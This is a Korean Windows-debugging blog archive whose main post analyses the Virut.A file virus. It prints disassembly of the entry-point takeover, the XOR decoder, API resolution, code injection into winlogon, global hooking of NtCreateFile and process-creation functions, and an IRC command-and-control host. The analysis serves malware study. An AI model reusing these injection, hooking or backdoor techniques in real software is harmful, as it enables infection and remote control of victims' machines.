FaceBook에 보니 Escalation Engineer관련 Group이 2개나 있더군요
굉장히 쟁쟁한 분들이 많이 가입하고 계시내요 .
저도 오늘 가입했습니다. ( 저는 Escalation Engineer가 아니지만.. )
Monthly Archive for 8월, 2008
Fast I/O 가 발생하지 않는 경우는 크게 3가지 정도 있습니다.
- File Read/Write 여부를 판단하여 IRP를 생성하는 경우
- 맨 처음 Cache Manager에 Read/Write가 시도 되는 경우
- APC에 의하여 Read/Write가 시도 되는 경우
이것 이외의 경우도 여러가지 있겠지만 대략 이정도 입니다. 알고 있으면 언젠가 도움이 될꺼 같은 생각이…
최근 Catch Manager에 관한 내용을 개인적으로 정리하고 있지만 실제 Catch Manager의 구조를 보여주는 책자는 많아도 실제 동작을 보여주는 책자( Catch Manager의 동작 Stack 이라던지 , Lazy Write 발생하는 System Thread라던지… )의 는 어디에도 없더군요. 슬픈 현실입니다.
올림픽 개막식
올림픽 개막식의 BSOD
인터넷에 떠돌고 있는 올림픽 개막식의 BSOD 장면 입니다. 그냥 재미 삼아 확대해서 해서 보니 Bugcheck Code의 끝이 4또는A로 끝나는것 같습니다. 끝에서 두번째 문자가 일그러져 잘 보이지 않는군요. 뒤에 오는 파라미터들을 보면 첫번째 파라미터는 Status와 같은것을 나타내는것 같고 그뒤로 3개의 Address가 보여지죠. 즉 4개의 파라미터를 모두 사용하고 있다는뜻 .. 2글자의 Bugcheck Code이면서 끝이 4또는 A로 끝나고 4개의 파라미터를 사용하는 Bugcheck 은 아래 4가지 정도 존재하내요. 과연 어떤 Bugcheck이 나온 걸까 내심 궁금합니다.
- Bug Check 0×7A: KERNEL_DATA_INPAGE_ERROR
- Bug Check 0xDA: SYSTEM_PTE_MISUSE
- Bug Check 0xE4: WORKER_INVALID
- Bug Check 0xF4: CRITICAL_OBJECT_TERMINATION
정확한 판독이 가능한 사진을 보고 싶내요 ㅎㅎㅎ
System Memory분석이나 Dump 분석만 하고 있으면 때로는 조금 따분합니다. 사실 분석이 필요한 것들 보다 코드상에 오류로 발생하는 것들이 더욱 많기 때문이죠. 그래서 오늘은 그 동안 해보지 않은 것을 분석해 보기로 했습니다. File Virus라는 녀석이죠. 가장 유명하고 가장 간단한 녀석의 샘플을 운좋게 구해서 분석해 볼 기회가 되었습니다.
Virut.A File Virus는 Winqal에 올라오는 Dump 중에도 많이 보여지더군요. ( 사실 이 녀석 때문에 예전에 분석삽질을 조금 했습니다. )
Virut을 기본 동작은 아래와 같습니다.
1. Base Entry Point를 자신의 코드로 변경하고 자신의 코드를 가장 처음 시작할 수 있도록함 ( PE의 마지막 색션에 Execute 권한을 주고 자신의 코드를 파일상에 덧붙여서 실행 하도록 하는 형태임 )
0:000> !dh 0x400000
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (i386)
3 number of sections
45ECF11C time date stamp Tue Mar 06 13:42:04 2007
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
10F characteristics
Relocations stripped
Executable
Line numbers stripped
Symbols stripped
32 bit word machine
OPTIONAL HEADER VALUES
10B magic #
6.00 linker version
6000 size of code
5000 size of initialized data
0 size of uninitialized data
B000 address of entry point
1000 base of code
—– new —–
00400000 image base
1000 section alignment
1000 file alignment
3 subsystem (Windows CUI)
4.00 operating system version
0.00 image version
4.00 subsystem version
12000 size of image
1000 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
0 [ 0] address [size] of Export Directory
74C8 [ 28] address [size] of Import Directory
0 [ 0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
0 [ 0] address [size] of Base Relocation Directory
0 [ 0] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
0 [ 0] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
7000 [ B4] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
SECTION HEADER #1
.text name
5888 virtual size
1000 virtual address
6000 size of raw data
1000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
SECTION HEADER #2
.rdata name
8AC virtual size
7000 virtual address
1000 size of raw data
7000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #3
.data name
9E28 virtual size
8000 virtual address
5000 size of raw data
8000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
E0000060 flags
Code
Initialized Data
(no align specified)
Execute Read Write
2. Virut의 감염 여부 확인을 위한 VT_3 Event 생성
[IDA code]
.data:0040B000 call $+5
.data:0040B005 push ebp
.data:0040B006 mov ebx, [esp+8]
.data:0040B00A mov ebp, [esp+8+var_4]
.data:0040B00E sub [esp+8+var_4], 9F85h
.data:0040B016 and ebx, 0FFFFF000h
.data:0040B01C sub ebp, offset off_401005
.data:0040B022
.data:0040B022 loc_40B022: ; CODE XREF: start+3Dj
.data:0040B022 cmp dword ptr [ebx+4Eh], ’sihT’
.data:0040B029 jnz short loc_40B037
.data:0040B02B mov eax, [ebx+3Ch]
.data:0040B02E add eax, ebx
.data:0040B030 cmp word ptr [eax], 4550h
.data:0040B035 jz short loc_40B03F
.data:0040B037
.data:0040B037 loc_40B037: ; CODE XREF: start+29j
.data:0040B037 sub ebx, 100h
.data:0040B03D jmp short loc_40B022
.data:0040B03F ; —————————————————————————
.data:0040B03F
.data:0040B03F loc_40B03F: ; CODE XREF: start+35j
.data:0040B03F mov edx, [eax+78h]
.data:0040B042 add edx, ebx
.data:0040B044 mov esi, [edx+20h]
.data:0040B047 mov ecx, [edx+18h]
.data:0040B04A add esi, ebx
.data:0040B04C push ecx
.data:0040B04D
.data:0040B04D loc_40B04D: ; CODE XREF: start:loc_40B074j
.data:0040B04D lodsd
.data:0040B04E add eax, ebx
.data:0040B050 cmp dword ptr [eax-1], 74654700h
.data:0040B057 jnz short loc_40B074
.data:0040B059 cmp dword ptr [eax+3], ‘corP’
.data:0040B060 jnz short loc_40B074
.data:0040B062 cmp dword ptr [eax+7], ‘rddA’
.data:0040B069 jnz short loc_40B074
.data:0040B06B cmp dword ptr [eax+0Bh], ’sse’
.data:0040B072 jz short loc_40B079
.data:0040B074
.data:0040B074 loc_40B074: ; CODE XREF: start+57j
.data:0040B074 ; start+60j …
.data:0040B074 loop loc_40B04D
.data:0040B076 pop ecx
.data:0040B077 pop ebp
.data:0040B078 retn
.data:0040B079 ; —————————————————————————
.data:0040B079
.data:0040B079 loc_40B079: ; CODE XREF: start+72j
.data:0040B079 sub [esp+0Ch+var_C], ecx
.data:0040B07C mov esi, [edx+24h]
.data:0040B07F pop ecx
.data:0040B080 add esi, ebx
.data:0040B082 movzx eax, word ptr [esi+ecx*2]
.data:0040B086 mov edi, [edx+1Ch]
.data:0040B089 add edi, ebx
.data:0040B08B mov esi, [edi+eax*4]
.data:0040B08E add esi, ebx
.data:0040B090 call loc_40B0A1
.data:0040B090 start endp ; sp-analysis failed
.data:0040B090
.data:0040B090 ; —————————————————————————
.data:0040B095 db 43h ; C
.data:0040B096 db 6Ch ; l
.data:0040B097 db 6Fh ; o
.data:0040B098 db 73h ; s
.data:0040B099 db 65h ; e
.data:0040B09A db 48h ; H
.data:0040B09B db 61h ; a
.data:0040B09C db 6Eh ; n
.data:0040B09D db 64h ; d
.data:0040B09E db 6Ch ; l
.data:0040B09F db 65h ; e
.data:0040B0A0 db 0
.data:0040B0A1 ; —————————————————————————
.data:0040B0A1
.data:0040B0A1 loc_40B0A1: ; CODE XREF: start+90p
.data:0040B0A1 push ebx
.data:0040B0A2 call esi
.data:0040B0A4 mov [ebp+402407h], eax
.data:0040B0AA call loc_40B0BC
.data:0040B0AA ; —————————————————————————
.data:0040B0AF db 43h ; C
.data:0040B0B0 db 72h ; r
.data:0040B0B1 db 65h ; e
.data:0040B0B2 db 61h ; a
.data:0040B0B3 db 74h ; t
.data:0040B0B4 db 65h ; e
.data:0040B0B5 db 45h ; E
.data:0040B0B6 db 76h ; v
.data:0040B0B7 db 65h ; e
.data:0040B0B8 db 6Eh ; n
.data:0040B0B9 db 74h ; t
.data:0040B0BA db 41h ; A
.data:0040B0BB db 0
.data:0040B0BC ; —————————————————————————
.data:0040B0BC
.data:0040B0BC loc_40B0BC: ; CODE XREF: .data:0040B0AAp
.data:0040B0BC push ebx
.data:0040B0BD call esi
.data:0040B0BF mov dword ptr ss:loc_40240B[ebp], eax
.data:0040B0C5 call near ptr sub_40B0D7
…
.data:0040B125 db 56h ; V
.data:0040B126 db 54h ; T
.data:0040B127 db 5Fh ; _
.data:0040B128 db 33h ; 3
.data:0040B129 db 0
.data:0040B12A
.data:0040B12A
.data:0040B12A
.data:0040B12A sub_40B12A proc near ; CODE XREF: sub_40B0D7+9p
.data:0040B12A xor ecx, ecx
.data:0040B12C call loc_40B10C
.data:0040B131 lea edx, [ebp+401125h]
.data:0040B137 push edx
.data:0040B138 push ecx
.data:0040B139 push ecx
.data:0040B13A push eax
.data:0040B13B call dword ptr ss:loc_40240B[ebp]
.data:0040B141 add esp, 20h
.data:0040B144 retn
Virut 개발자가 정말 대단하다고 느껴진점은 Inter CPU의 Instruction 처리에 대한 지식이 상당하다는 점 입니다. 예를 들면 Call Instruction을 호출될때 ESP에는 당연히 Return Addresss가 저장된다는 점을 착안하여 Function Name의 Pointer를 Stack 상에 저장한다는 점 같은것말이죠 . ( 사실 이렇게 생각하면서 프로그램을 하면 정말 머리에 쥐가 나지 않았을까 하는… )
3. 암호화된 코드를 Memory상에 실제 코드로 변경하고 그 위치로 점프함
[IDA code]
.data:0040B145 DecodeCode proc near ; CODE XREF: sub_40B0D7:loc_40B0FDp
.data:0040B145 mov dh, dl
.data:0040B147 mov ecx, 12B2h
.data:0040B14C
.data:0040B14C loc_40B14C: ; CODE XREF: DecodeCode+Cj
.data:0040B14C xor [eax], dl ; 0×0040B155 지점의 코드를 복호화 해서 다시 뿌려준다.
.data:0040B14C ; 0×12B2 사이즈 만큼 복호화
.data:0040B14E inc eax
.data:0040B14F add dl, dh
.data:0040B151 loop loc_40B14C
.data:0040B153 retn
.data:0040B153 DecodeCode endp
복호화 과정은 단순하지만 생각이나 이론은 현재 많이 사용되고 있는 Packer들과도 다르지 않다는 사실.. !! ( 정말 놀랍습니다. )
4. 이러한 과정으로 복호화된 코드로 다시 Hooking시 감염될 코드를 저장할 Shared Memory와 악성코드 배포를 위한 Winlogon 상의 Thread 생성
0:000> kvn
00 0012ff78 0040b2ff ffffffff 0012ff98 00000004 kernel32!CreateFileMappingA (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0012ffc0 7c816fd7 00011970 7c9418f1 7ffd4000 image00400000+0xb2ff
02 00401080 70b868ff 78680040 64004031 000000a1 kernel32!BaseProcessStart+0×23 (FPO: [Non-Fpo])
03 00401080 00000000 78680040 64004031 000000a1 0×70b868ff
0:000> dps 0012ff78
0012ff78 0012ffa0
0012ff7c 0040b2ff image00400000+0xb2ff
0012ff80 ffffffff
0012ff84 0012ff98
0012ff88 00000004
0012ff8c 00000000
0012ff90 00005839
0012ff94 0040b49f image00400000+0xb49f
…
0:000> da 0040b49f
0040b49f “W32_Virtu”
“W32_Virtu” 라는 이름으로 ShareMemory가 생성되내요 Virut이라는 이름은 여기서 따온것으로 생각각됩니다.
0:000> dc 0040b49f L100
0040b49f 5f323357 74726956 736c0075 656c7274 W32_Virtu.lstrle
0040b4af 7243006e 65746165 656c6946 72430041 n.CreateFileA.Cr
0040b4bf 65746165 656c6946 7070614d 41676e69 eateFileMappingA
0040b4cf 65724300 50657461 65636f72 00417373 .CreateProcessA.
0040b4df 61657243 65526574 65746f6d 65726854 CreateRemoteThre
0040b4ef 43006461 74616572 72685465 00646165 ad.CreateThread.
0040b4ff 61657243 6f546574 65686c6f 3233706c CreateToolhelp32
0040b50f 70616e53 746f6873 69784500 72685474 Snapshot.ExitThr
0040b51f 00646165 46746547 41656c69 69727474 ead.GetFileAttri
0040b52f 65747562 47004173 69467465 6953656c butesA.GetFileSi
0040b53f 4700657a 69467465 6954656c 4700656d ze.GetFileTime.G
0040b54f 6f4d7465 656c7564 646e6148 0041656c etModuleHandleA.
0040b55f 54746547 46706d65 4e656c69 41656d61 GetTempFileNameA
0040b56f 74654700 706d6554 68746150 65470041 .GetTempPathA.Ge
0040b57f 72655674 6e6f6973 74654700 73726556 tVersion.GetVers
0040b58f 456e6f69 4c004178 4c64616f 61726269 ionExA.LoadLibra
0040b59f 00417972 5670614d 4f776569 6c694666 ryA.MapViewOfFil
0040b5af 704f0065 69466e65 614d656c 6e697070 e.OpenFileMappin
0040b5bf 4f004167 506e6570 65636f72 50007373 gA.OpenProcess.P
0040b5cf 65636f72 32337373 73726946 72500074 rocess32First.Pr
0040b5df 7365636f 4e323373 00747865 46746553 ocess32Next.SetF
0040b5ef 41656c69 69727474 65747562 53004173 ileAttributesA.S
0040b5ff 69467465 6954656c 5300656d 7065656c etFileTime.Sleep
0040b60f 6d6e5500 69567061 664f7765 656c6946 .UnmapViewOfFile
0040b61f 72695600 6c617574 6f6c6c41 72570063 .VirtualAlloc.Wr
0040b62f 46657469 00656c69 6441744e 7473756a iteFile.NtAdjust
0040b63f 76697250 67656c69 6f547365 006e656b PrivilegesToken.
0040b64f 7243744e 65746165 656c6946 43744e00 NtCreateFile.NtC
0040b65f 74616572 6f725065 73736563 43744e00 reateProcess.NtC
0040b66f 74616572 6f725065 73736563 4e007845 reateProcessEx.N
0040b67f 70614d74 77656956 6553664f 6f697463 tMapViewOfSectio
0040b68f 744e006e 6e65704f 636f7250 54737365 n.NtOpenProcessT
0040b69f 6e656b6f 50744e00 65746f72 69567463 oken.NtProtectVi
0040b6af 61757472 6d654d6c 0079726f 7257744e rtualMemory.NtWr
0040b6bf 56657469 75747269 654d6c61 79726f6d iteVirtualMemory
0040b6cf 6c745200 63696e55 5365646f 6e697274 .RtlUnicodeStrin
0040b6df 416f5467 5369736e 6e697274 53570067 gToAnsiString.WS
0040b6ef 61745341 70757472 6f6c6300 6f736573 AStartup.closeso
0040b6ff 74656b63 6e6f6300 7463656e 74656700 cket.connect.get
0040b70f 74736f68 616e7962 7200656d 00766365 hostbyname.recv.
0040b71f 646e6573 636f7300 0074656b 65746e49 send.socket.Inte
0040b72f 74656e72 736f6c43 6e614865 00656c64 rnetCloseHandle.
0040b73f 65746e49 74656e72 43746547 656e6e6f InternetGetConne
0040b74f 64657463 74617453 6e490065 6e726574 ctedState.Intern
0040b75f 704f7465 00416e65 65746e49 74656e72 etOpenA.Internet
0040b76f 6e65704f 416c7255 746e4900 656e7265 OpenUrlA.Interne
0040b77f 61655274 6c694664 44410065 49504156 tReadFile.ADVAPI
0040b78f 442e3233 52004c4c 6c436765 4b65736f 32.DLL.RegCloseK
0040b79f 52007965 704f6765 654b6e65 41784579 ey.RegOpenKeyExA
0040b7af 67655200 72657551 6c615679 78456575 .RegQueryValueEx
0040b7bf 65520041 74655367 756c6156 41784565 A.RegSetValueExA
“W32_Virtu”가 나타난 Memory 근방을 보면 Virut가 어떤 함수들을 Load하여 사용하고 있는지를 대략적으로 파악할 수 있습니다.
이러한 기반 작업을 마친후 Virut은 본격적으로 동작을 시작하게 됩니다.
[virut attach debugger]
0:000> kvn
# ChildEBP RetAddr Args to Child
00 0012fe7c 00370419 0000002a 00000000 0000019c kernel32!OpenProcess (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
01 0012fed4 77f61cfb 77f61d12 00000000 00000000 0×370419
02 0012ff10 7c80ba80 00390054 7c80ba8b 00000000 ADVAPI32!LsaClose+0×44 (FPO: [Non-Fpo])
03 0012ff44 7c864ad2 7c93e96c 7c864ade ffffffff kernel32!lstrcpyW+0×1c (FPO: [Non-Fpo])
04 7c93da54 90909090 0054b890 00ba0000 ff7ffe03 kernel32!ThpProcessToSnap+0×2b2 (FPO: [Non-Fpo])
05 7c93da54 00000000 0054b890 00ba0000 ff7ffe03 0×90909090
0:000> gu
eax=000007a4 ebx=7c930000 ecx=00000001 edx=ffffffff esi=00000004 edi=000007cc
eip=00370419 esp=0012fe90 ebp=fff6f000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00370419 85c0 test eax,eax
0:000> r eax
eax=000007a4
[lkd]
lkd> !process 0 0
…
PROCESS 8616f3c0 SessionId: 0 Cid: 019c Peb: 7ffd3000 ParentCid: 013c
DirBase: 0c1d3000 ObjectTable: e13b5f90 HandleCount: 449.
Image: winlogon.exe
…
Winlogon에 Attach 하여 무슨짓을 할려고하는것을 확인할 수 있습니다.
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=000007a4 ecx=7ff70c3e edx=ffffffff esi=00000004 edi=000007cc
eip=7c81042c esp=0012fe6c ebp=fff6f000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!CreateRemoteThread:
7c81042c 6810040000 push 410h
0:000> kvn
# ChildEBP RetAddr Args to Child
00 0012fe68 00370444 000007a4 00000000 00000000 kernel32!CreateRemoteThread (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
01 0012fed4 77f61cfb 77f61d12 00000000 00000000 0×370444
02 0012ff10 7c80ba80 00390054 7c80ba8b 00000000 ADVAPI32!LsaClose+0×44 (FPO: [Non-Fpo])
03 0012ff44 7c864ad2 7c93e96c 7c864ade ffffffff kernel32!lstrcpyW+0×1c (FPO: [Non-Fpo])
04 7c93da54 90909090 0054b890 00ba0000 ff7ffe03 kernel32!ThpProcessToSnap+0×2b2 (FPO: [Non-Fpo])
05 7c93da54 00000000 0054b890 00ba0000 ff7ffe03 0×90909090
winlogon에 새로운 Thread를 생성합니다. 실재 Virut의 동작을 위한 부분이죠
0:000> dps 0012fe68
0012fe68 000007a4
0012fe6c 00370444
0012fe70 000007a4
0012fe74 00000000
0012fe78 00000000
0012fe7c 7ff80c3e
0012fe80 00000004
0012fe84 00000000
0012fe88 0012fe8c
0012fe8c 00000000
0012fe90 00000128
0012fe94 00000000
…
7ff80c3e Memory를 생성할 Thread의 Entry로 넣어주는군요. 이 Memory의 정체는 Winlogon Process를 Open하여 NtMapViewOfSection을 호출하고 이를 통해 Memory를 Mapping해서 생긴것으로 추정이 가능하죠.
[virut attach debugger]
0:000> !address 00370000
00370000 : 00370000 - 00006000
Type 00040000 MEM_MAPPED
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageIsVAD
[winlogon attach debugger]
0:026> !address 7ff80c3e
7ff80000 : 7ff80000 - 00006000
Type 00040000 MEM_MAPPED
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageIsVAD
0:026> bl
0 e 7ff80c3e 0001 (0001) 0:****
0:016> kvn
# ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 021dffb4 7c80b683 00000004 00000000 00000000 0×7ff80c3e
01 021dffec 00000000 7ff80c3e 00000004 00000000 kernel32!BaseThreadStart+0×37 (FPO: [Non-Fpo])
Virut이 감염된 PC의 Winlogon의 Stack을 확인하면 Virut의 목적(??)을 확인 할 수 있습니다. 백도어라는….
16 Id: 1f0.5a0 Suspend: 1 Teb: 7ff99000 Unfrozen
# ChildEBP RetAddr Args to Child
00 021df338 7c93e3ed 77d8cc65 0000085c 00f58ea0 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
01 021df33c 77d8cc65 0000085c 00f58ea0 00f58ea0 ntdll!ZwRequestWaitReplyPort+0xc (FPO: [3,0,0])
02 021df388 77d8aaf6 00f58ed8 021df3a8 77d8ab27 RPCRT4!LRPC_CCALL::SendReceive+0×228 (FPO: [Non-Fpo])
03 021df394 77d8ab27 021df3c4 76ed2e58 021df7a0 RPCRT4!I_RpcSendReceive+0×24 (FPO: [Non-Fpo])
04 021df3a8 77e04675 021df3f0 00f58f1c 00000000 RPCRT4!NdrSendReceive+0×2b (FPO: [Non-Fpo])
05 021df784 76ed35d7 76ed2e58 76ed2c60 021df7a0 RPCRT4!NdrClientCall2+0×222 (FPO: [Non-Fpo])
06 021df798 76ed356b 00000000 00f5d574 00000001 DNSAPI!R_ResolverQuery+0×1b (FPO: [Non-Fpo])
07 021df7f4 719826c6 00f5d574 00000001 00000000 DNSAPI!DnsQuery_W+0×14f (FPO: [Non-Fpo])
08 021df828 7198266f 00f5d574 00000001 00000000 mswsock!HostentBlob_Query+0×29 (FPO: [Non-Fpo])
09 021df854 71981b0a 00f5d508 01ec78f0 01ec78d8 mswsock!Rnr_DoDnsLookup+0×7d (FPO: [Non-Fpo])
0a 021dfc9c 719e2fc8 00f5d508 00000000 021dfd50 mswsock!NSPLookupServiceNext+0×533 (FPO: [Non-Fpo])
0b 021dfcb4 719e2fa8 00f42330 00f5d508 00000000 WS2_32!NSPROVIDER::NSPLookupServiceNext+0×17 (FPO: [Non-Fpo])
0c 021dfcd0 719e2f72 00f36c28 00000000 021dfd50 WS2_32!NSPROVIDERSTATE::LookupServiceNext+0×1c (FPO: [Non-Fpo])
0d 021dfcfc 719e2f10 01ec78f0 00000000 021dfd50 WS2_32!NSQUERY::LookupServiceNext+0xae (FPO: [Non-Fpo])
0e 021dfd1c 719e5771 01ec78d8 00000000 021dfd50 WS2_32!WSALookupServiceNextW+0×78 (FPO: [Non-Fpo])
0f 021dfd40 719e5268 01ec78d8 00000000 0000013c WS2_32!WSALookupServiceNextA+0×63 (FPO: [Non-Fpo])
10 021dfd6c 719e5066 021dfd9c 0000013c 7ff80bfc WS2_32!getxyDataEnt+0xa1 (FPO: [Non-Fpo])
11 021dffa8 7ff80e5b 7ff80bfc 021dffec 7c80b683 WS2_32!gethostbyname+0xb4 (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
12 021dffb4 7c80b683 00000004 00000000 00000000 0×7ff80e5b
13 021dffec 00000000 7ff80c3e 00000004 00000000 kernel32!BaseThreadStart+0×37 (FPO: [Non-Fpo])
0:015> dc 7ff80bfc
7ff80bfc 786f7270 2e616d69 67637269 78616c61 proxima.ircgalax
7ff80c0c 6c702e79 43494e00 7379204b 626e626a y.pl.NICK ysjbnb
7ff80c1c 550a7677 20524553 3032306a 20313035 wv.USER j020501
7ff80c2c 202e202e 4f4a5f3a 26204e49 74726976 . . :_JOIN &virt
7ff80c3c e8550a75 00000000 44ed815d c600401c u.U…..]..D.@..
7ff80c4c 40147785 95ff0000 0040245b 741fe8c1 .w.@….[$@....t
7ff80c5c 8b1e6a3c 40241bb5 3cac5900 662a752e <j....$@.Y.<.u*f
7ff80c6c 1dff3e81 bd8d2375 004024fb 5702768b .>..u#...$@..v.W
0:015> da 7ff80bfc
7ff80bfc "proxima.ircgalaxy.pl"
Memory상의 Text에서 알 수 있듯이 proxima.ircgalaxy.pl IRC 서버에 접속하는 군요. 물론 그 이후에 무엇인가 동작을 하겠죠.(사실 광고를 뿌리기위한 코드라고 합니다.) Virut은 그 이외에 몇가지 Function을 Hooking하여 File을 확산 시킵니다. 잼있는것은 User Level Global Hook을 하는 굉장히 괜찮은 방법을 생각해 냈다는거죠.
...
003d0104 ff9507244000 call dword ptr image00400000+0x2407 (00402407)[ebp] // CloseHandle
003d010a 5d pop ebp
003d010b c3 ret
003d03f9 54 push esp
003d03fa 57 push edi
003d03fb ff9577244000 call dword ptr image00400000+0×2477 (00402477)[ebp] // kernel32!Process32Next
003d0401 85c0 test eax,eax
003d0403 745c je 003d0461
003d0405 46 inc esi
003d0406 83fe04 cmp esi,4
003d0409 72ee jb 003d03f9
003d040b ff742408 push dword ptr [esp+8]
003d040f 6a00 push 0
003d0411 6a2a push 2Ah
003d0413 ff956f244000 call dword ptr image00400000+0×246f (0040246f)[ebp] // OpenProcess
003d0419 85c0 test eax,eax
003d041b 74dc je 003d03f9
003d041d 93 xchg eax,ebx
003d041e e8e4030000 call 003d0807 // 생성한 Shared Memory를 맵핑하고 Function을 Hook 한다.
003d0423 33c9 xor ecx,ecx
003d0425 91 xchg eax,ecx
003d0426 e330 jecxz 003d0458
003d0428 3985f7244000 cmp dword ptr image00400000+0×24f7 (004024f7)[ebp],eax // 460
003d042e 7528 jne 003d0458
003d0430 81c13e0c0000 add ecx,0C3Eh
003d0436 50 push eax
003d0437 54 push esp
003d0438 50 push eax
003d0439 56 push esi
003d043a 51 push ecx
003d043b 50 push eax
003d043c 50 push eax
003d043d 53 push ebx
003d043e ff9533244000 call dword ptr image00400000+0×2433 (00402433)[ebp] // CreateRemoteThread
003d0444 85c0 test eax,eax
003d0446 59 pop ecx
003d0447 740f je 003d0458
003d0449 ff742408 push dword ptr [esp+8]
003d044d 8f85f7244000 pop dword ptr image00400000+0×24f7 (004024f7)[ebp] // 460
003d0453 e809feffff call 003d0261 // Sleep
003d0458 53 push ebx
003d0459 ff9507244000 call dword ptr image00400000+0×2407 (00402407)[ebp] // CloseHandle
003d045f eb98 jmp 003d03f9
003d0461 81c428010000 add esp,128h
003d0467 57 push edi
003d0468 ff9507244000 call dword ptr image00400000+0×2407 (00402407)[ebp] // CloseHandle
003d046e e991fcffff jmp 003d0104 // CloseHandle
…
0:000> uf 003d0807
003d0807 57 push edi
003d0808 8d859f144000 lea eax,image00400000+0×149f (0040149f)[ebp]
003d080e 33ff xor edi,edi
003d0810 50 push eax
003d0811 6a00 push 0
003d0813 6a06 push 6
003d0815 ff956b244000 call dword ptr image00400000+0×246b (0040246b)[ebp] // OpenFileMapping
003d081b 85c0 test eax,eax
003d081d 747f je 003d089e
003d081f 50 push eax
003d0820 6839580000 push 5839h
003d0825 8bd4 mov edx,esp
003d0827 6a00 push 0
003d0829 8bcc mov ecx,esp
003d082b 6a04 push 4
003d082d 6800001000 push 100000h
003d0832 6a02 push 2
003d0834 52 push edx
003d0835 6a00 push 0
003d0837 6839580000 push 5839h
003d083c 6a00 push 0
003d083e 51 push ecx
003d083f 53 push ebx
003d0840 50 push eax
003d0841 ff95a3244000 call dword ptr image00400000+0×24a3 (004024a3)[ebp] // ZwMapViewOfSection
003d0847 5f pop edi
003d0848 59 pop ecx
003d0849 ff9507244000 call dword ptr image00400000+0×2407 (00402407)[ebp] // CloseHandle
003d084f 85ff test edi,edi
003d0851 744b je 003d089e
003d0853 8b8d88144000 mov ecx,dword ptr image00400000+0×1488 (00401488)[ebp]
003d0859 e30c jecxz 003d0867
003d085b 8d9500104000 lea edx,image00400000+0×1000 (00401000)[ebp]
003d0861 03d1 add edx,ecx
003d0863 57 push edi
003d0864 53 push ebx
003d0865 ffd2 call edx
003d0867 8b8597244000 mov eax,dword ptr image00400000+0×2497 (00402497)[ebp] // ntdll!NtCreateFile
003d086d 8d8f79130000 lea ecx,[edi+1379h]
003d0873 e858ffffff call 003d07d0
003d0878 8b859b244000 mov eax,dword ptr image00400000+0×249b (0040249b)[ebp] // ntdll!ZwCreateProcess
003d087e 8d8fc6130000 lea ecx,[edi+13C6h]
003d0884 e847ffffff call 003d07d0
003d0889 8b859f244000 mov eax,dword ptr image00400000+0×249f (0040249f)[ebp] // ntdll!ZwCreateProcessEx
003d088f 85c0 test eax,eax
003d0891 740b je 003d089e
003d0893 8d8fd3130000 lea ecx,[edi+13D3h]
003d0899 e832ffffff call 003d07d0
003d089e 8bc7 mov eax,edi
003d08a0 5f pop edi
003d08a1 c3 ret
생성한 Shared Memory를 모든 프로세스에 Mapping하고 ( 위에서 잠깐 언급한..) NtCreateFile, ZwCreateProcess, ZwCreateProcessEx라는 함수들을 전역 Hooking합니다. 실행될 코드는 모두 이미 구성된 Shared Memory 안에 존재하겠죠. 이런 기법의 Global Hook은 다른 Thread를 생성하지 않고 API를 통해서 안전하게( ?? ) Hook을 할 수 있다는 점입니다. 보통은 Remote Thread를 통해서 hooking Dll를 Load하는 방법을 사용하지만 말이죠 ^^
대략적으로 Virut의 기본형에 대해서 분석내용을 작성해보았습니다. 덤프분석이나 시스템 충돌 분석과는 또다른 재미가 있내요. 시간이 나실때 한번 해보시길…
노트북과 같이 키보드를 이용한 강제 Memory Dump가 불가능한 경우는 Citrix사에서 나온 SystemDump 를 이용하면 편리합니다.
Download : http://support.citrix.com/article/CTX111072
아래 내용은 실제로 이 Tool을 이용해서 Dump한 Memory Dump의 analyze -v 를 보여주고 있습니다. 한번 시간이 되시면 해보시길 …
kd> !analyze -v
MANUALLY_INITIATED_CRASH (e2)
The user manually initiated this crash dump.
Arguments:
Arg1: cccccccc
Arg2: 86209e10
Arg3: 00000022
Arg4: 00000000
Debugging Details:
——————
DEFAULT_BUCKET_ID: INTEL_CPU_MICROCODE_ZERO
BUGCHECK_STR: 0xE2
PROCESS_NAME: SystemDump.exe
LAST_CONTROL_TRANSFER: from f7d89743 to 8053554e
STACK_TEXT:
f4346be8 f7d89743 000000e2 cccccccc 86209e10 nt!KeBugCheckEx+0×1b
f4346c34 804e57f7 860936d0 862ee200 806ef070 SystemDump!CtxBSODDeviceControl+0×187 [c:\wddk\src\general\ctxbsod\sys\ctxbsod.c @ 169]
f4346c44 8056c148 862ee270 861a1ef8 862ee200 nt!IopfCallDriver+0×31
f4346c58 8057cd03 860936d0 862ee200 861a1ef8 nt!IopSynchronousServiceTail+0×60
f4346d00 8057f281 000000bc 00000000 00000000 nt!IopXxxControlFile+0×611
